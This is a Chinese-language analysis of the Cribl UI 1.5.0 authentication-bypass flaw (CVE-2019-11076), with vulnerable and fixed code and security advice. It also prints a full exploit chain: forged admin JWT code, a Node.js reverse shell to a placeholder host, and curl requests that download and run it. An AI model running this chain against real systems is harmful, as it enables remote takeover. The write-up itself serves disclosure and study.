CVE-2019-11076 Cribl UI 1.5.0 未授权命令执行漏洞分析
字数 1006 2025-08-26 22:11:56
CVE-2019-11076 Cribl UI 1.5.0 未授权命令执行漏洞分析与利用
漏洞概述
CVE-2019-11076 是 Cribl UI 1.5.0 版本中存在的一个严重安全漏洞,允许攻击者在未授权的情况下执行任意命令。该漏洞主要涉及两个关键问题:
- JWT 令牌验证机制缺陷
- 硬编码的加密密钥
通过组合利用这些问题,攻击者可以伪造有效的管理员会话令牌,进而通过系统脚本功能执行任意命令。
受影响版本
- 已验证存在漏洞的版本:1.5.0
- 可能受影响的版本:1.4.3 及更早版本
- 已修复版本:1.5.1 及更高版本
环境搭建
使用 Docker 搭建漏洞环境
# 拉取漏洞版本的 Docker 镜像
docker pull cribl/cribl:1.4.3
# 运行容器并映射端口
docker run -p 9000:9000 -d cribl/cribl:1.4.3
默认管理员凭据:
- 用户名:admin
- 密码:admin
漏洞利用步骤
1. 准备反弹 Shell 脚本
在攻击者控制的服务器上创建 Node.js 反弹 Shell 脚本(shell.js):
var net = require("net"), sh = require("child_process").exec("/bin/sh");
var client = new net.Socket();
client.connect(6669, "YOUR_REMOTE_IP_OR_FQDN", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
2. 设置监听器
在攻击者服务器上监听反弹 Shell 连接:
nc -lvp 6669
3. 利用漏洞执行命令
步骤 1:下载恶意脚本
curl 'http://127.0.0.1:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"runme","command":"/usr/bin/wget","args":["http://xxx.xxx.xxx/shell.js","-P","/opt"],"env":{}}' --compressed
步骤 2:执行下载命令
curl 'http://127.0.0.1:9000/api/v1/system/scripts/runme/run' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed
步骤 3:创建 Node.js 执行脚本
curl 'http://127.0.0.1:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"reverseit","command":"node","args":["/opt/shell.js"],"env":{}}' --compressed
步骤 4:执行反弹 Shell
curl 'http://127.0.0.1:9000/api/v1/system/scripts/reverseit/run' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed
漏洞分析
1. JWT 验证机制缺陷
关键验证代码如下:
var f = "d2hvIGxldCB0aGUgZG9ncyBvdXQ="; // 硬编码的密钥
var h = "cribl_auth"; // Cookie 名称
var v = "Bearer "; // Authorization 头部前缀
function y(e, t, r) {
// 省略部分代码...
var i = e.cookies && e.cookies[h];
if (!i) {
var o = e.header("authentication");
if (o && o.startsWith(v)) {
i = o.substr(v.length);
}
}
try {
a.decode(i || "", f);
r();
} catch (e) {
t.sendStatus(401);
}
}
2. 硬编码密钥问题
密钥 d2hvIGxldCB0aGUgZG9ncyBvdXQ= 解码后为 who let the dogs out,这是一个硬编码的字符串,使得攻击者可以轻松伪造有效的 JWT 令牌。
3. JWT 令牌生成
使用 jwt-simple 库生成伪造令牌的示例代码:
var jwt = require('jwt-simple');
var payload = {
"username": "admin",
"exp": 9999999999
};
var secret = 'd2hvIGxldCB0aGUgZG9ncyBvdXQ=';
var token = jwt.encode(payload, secret);
console.log(token);
生成的令牌格式:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY
修复方案
在 1.5.1 版本中,修复措施包括:
- 移除了硬编码的密钥,改为从配置文件中读取
- 密钥存储路径:
/opt/local/cribl/auth/cribl.secret - 增加了对用户名的检查
修复后的关键代码:
function w() {
if (!b) {
var e = c.join(process.env.CRIBL_HOME || "", "local", "cribl", "auth", "cribl.secret");
b = o.callbackToPromise(l.readFile, e).catch(function(t) {
return u.mkdirp(c.dirname(e)).then(function() {
var t = a.randomBytes(256).toString("base64");
return u.atomicFileWrite(e, t).then(function() {
return t
})
})
}).then(function(e) {
return Buffer.from(e.toString(), "base64")
})
}
return b
}
安全建议
- 立即升级到最新版本的 Cribl UI
- 如果无法立即升级,确保修改默认的 JWT 密钥
- 限制对 Cribl UI 管理界面的网络访问
- 定期审计系统日志,监控可疑的脚本执行活动
总结
CVE-2019-11076 漏洞展示了硬编码密钥和弱身份验证机制带来的严重安全风险。虽然后续版本通过从配置文件读取密钥的方式进行了修复,但如果管理员未在生产环境中更改默认密钥,系统仍然面临风险。这强调了在软件开发和安全运维中遵循最佳实践的重要性。